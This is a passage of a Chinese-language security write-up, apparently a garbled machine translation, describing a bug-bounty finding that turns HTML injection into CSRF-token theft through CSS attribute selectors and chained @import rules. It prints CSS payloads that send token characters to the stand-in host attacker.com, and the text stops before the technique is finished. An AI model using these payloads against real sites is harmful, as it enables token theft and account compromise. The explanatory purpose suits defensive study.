运用HTML注入进行信息走漏

访客5年前黑客工具1321

本篇文章叙述了我怎么发现一个缝隙运用点,而且能够bypass现有安全机制,使我取得5位数赏金。
一个古怪的HTML注入事例
AndréBaptista和Cache-Money正在研讨一个十分风趣的缝隙,它开端是一个简略的字符集bypass,经过一系列操作能够使方针(由于dompurify,不能进行XSS)演变成HTML注入。这是一条很棒的运用链,能够证明他们发现了很棒的东西。但如下问题仍是让他们遇到了很大的费事。
在听到他们取得的发展后,我想去看看我是否能够供给一些协助来使这个缝隙更具运用性。首要咱们确认咱们至少能够完结一次有用的点击绑架进犯。0xACB (Andre)和Cache-Money有一个很好的主意,他们企图串联更多的进犯面组成运用链,以发明更大影响力的缝隙。可是我有一些其他的主意。
在咱们确认了dompurify默许答应style标签之后,我开端考虑怎么运用CSS做更多的操作而不只只是仅操作DOM。假如你现已读过我的一些帖子,你就会知道我对CSS注入缝隙并不生疏。不幸的是,这个页面不只有结构加载维护,而且需求一些用户交互来触发注入,这导致假如咱们想要进行灵敏信息走漏,则会糟蹋很长时刻。而且这只是一个低危进犯,最多只能取得4位数的赏金。
我需求一种办法让浏览器在无需从头加载、iframes或用户交互的情况下能够履行多个CSS payload以达到相似的进犯。此外,咱们对能够注入的payload的长度进行约束。想要只是运用标签来运用它似乎是不或许的,直到我开端了解了CSS的一个特性:@import。
 
CSS注入入门
在我深化了解这项技能之前,我想用一个简略的部分来描述CSS注入中运用的传统token信息走漏技能。假如你对这方面现已很熟悉了,能够跳到下一节。别的,我也曾在之前的一篇blog中更深化地探讨了这项技能(https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d)。
传统的CSS注入token信息走漏技能依赖于一种名为Attribute Selectors的CSS特性。Attribute Selectors答应开发人员指定只有当某个元素的特点满意selector指示的条件时,才能够将该特定款式运用于该元素。咱们能够运用attribute selector创立一种规矩,该规矩仅在特定条件下适用于页面上的指定元素。当运用这些款式时,咱们能够运用相似于background-image等特点使浏览器与进犯者交互,以循环获取token信息走漏操作的反应。
input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9);  
}
在这个比如中,咱们使浏览器一旦发现CSRF token以a最初,则将background-image设置为https://attacker.com/exfil/a中的图画。然后,咱们对或许作为token最初的每个字符(a, b, c, .. 7, 8, 9, etc.)重复此规矩。
一旦咱们知道token的榜首个字符是什么,咱们就能够再次履行进犯(一般运用iframes),但需求略微修正payload。
input[name=csrf][value^=ca]{
    background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
    background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
    background-image: url(https://attacker.com/exfil/c9);  
}
在这个比如中,咱们假定CSRF token的榜首个字母是一个c。如此一来,咱们经过再次运转之前的规矩就能够取得CSRF token的第二个字符。但这要建立在这些tokens都是以c最初的基础上。
 
先决条件
上述技能一般需求三个条件:
1.CSS注入需求答应满足长的payload
2.能够在结构加载页面再次履行CSS新生成的payloads
3.能够引证外部图片(或许被CSP阻挠)
这意味着,假如注入不答应满足大的payload,或许页面不能被结构加载,那么前面的技能或许不适用。在咱们的比如中,这意味由于存在结构安全机制,以及实践能够注入的字符数量有限,咱们无法运用这种技能。
 
@import to the Rescue
许多编程言语能够从其他源文件导入代码,CSS也不破例。虽然许多人或许只知道,但实践上CSS自身有一种办法能够运用一种名为@import的at-rule来履行相似(但不同)类型的表单款式包括。
在大多数情况下,@import将提取的款式直接交换到当时款式表中,这使开发人员能够引进外部款式的一起,掩盖那些界说在@import行下的外部资源中的,不被需求的指令。
在某些浏览器(例如Chrome)中完成的此功用将会带来一个风趣的副作用,即能够在外部资源被提取到浏览器的一起处理款式表的其余部分。我的了解是,这种行为增加了页面的TTI,一起企图削减”flashes of unstyled content”(拜见FOUC problem),但实践上它在开发中有实践用处。
幻想一下,咱们有一个网页包括以下款式表:
@import url(http://laggysite.com/base.css);
* { color: red; }
Chrome经过3个过程处理此款式表:
1.向http://laggysite.com/base.css宣布恳求
2.履行剩下指令(apply * { color: red; })
3.当http://laggysite.com/base.css回来呼应时,将呼应代入款式表并从头履行款式表。
当@import方针呼应时,咱们能够运用浏览器再次履行款式表的行为,模仿曾经的技能中从iframes中操控CSS再次履行的才能的行为。咱们运用@import的仅有要求是咱们必须在style标签的开端时具有操控权(由于这是HTML注入)。
为此,咱们将在款式表中创立两个@import规矩,并让服务器坚持一切衔接为翻开状况。然后,咱们将运用规范的CSS注入token信息走漏payload从方针特点中提取榜首个token。当咱们的服务器从background款式接收到该token后,咱们能够生成下一个token信息走漏payload,并运用新生成的payload呼应下一个待处理的@import规矩。

[1] [2]  黑客接单网

相关文章

缝缝补补的WebLogic:绕过的艺术

前语 现在Weblogic在全球的使用量占居前列,据统计,在全球范围内对互联网敞开Weblogic服务的财物数量多达35382台,其间归属我国区域的财物数量为10562台。假如迸发一个Weblogic...

恣意用户暗码重置(三):用户混杂

在逻辑缝隙中,恣意用户暗码重置最为常见,或许出现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...

谷歌为G-Suite服务布置全新反钓鱼和歹意软件检测功用

Google 为 G Suite 服务推出了全新安全功用,包括企业云核算,生产力和协作东西。 现在企业用户能够运用 Gmail 来绑定企业自定义域名,并进行商务和企业内部的邮件联络。 而G Suite...

XSS终结者-CSP理论与实践

 CSP 全称为 Content Security Policy,即内容安全战略。首要以白名单的方法装备可信任的内容来历,在网页中,能够使白名单中的内容正常履行(包括 JS,CSS,Image 等等)...

黑客入侵又出新招!丹麦科学研究精英团队探索与发现:不连接网络

黑客入侵又出新招!丹麦科学研究精英团队探索与发现:不连接网络

针对网络黑客而言,沒有她们没法做到,唯有你意想不到。   就算不连接网络,网络黑客运用散热风扇也可以盗取你的数据信息? 前不久,非洲的一个科学研究精...

根据SQLite数据库的Web应用程序注入攻略

SQL注入又称hacking之母,是形成网络世界巨大损失而臭名远扬的缝隙之一,研究人员现已发布了许多关于不同SQL服务的不同进犯技巧相关文章。关于MSSQL,MySQL和ORACLE数据库来说,SQL...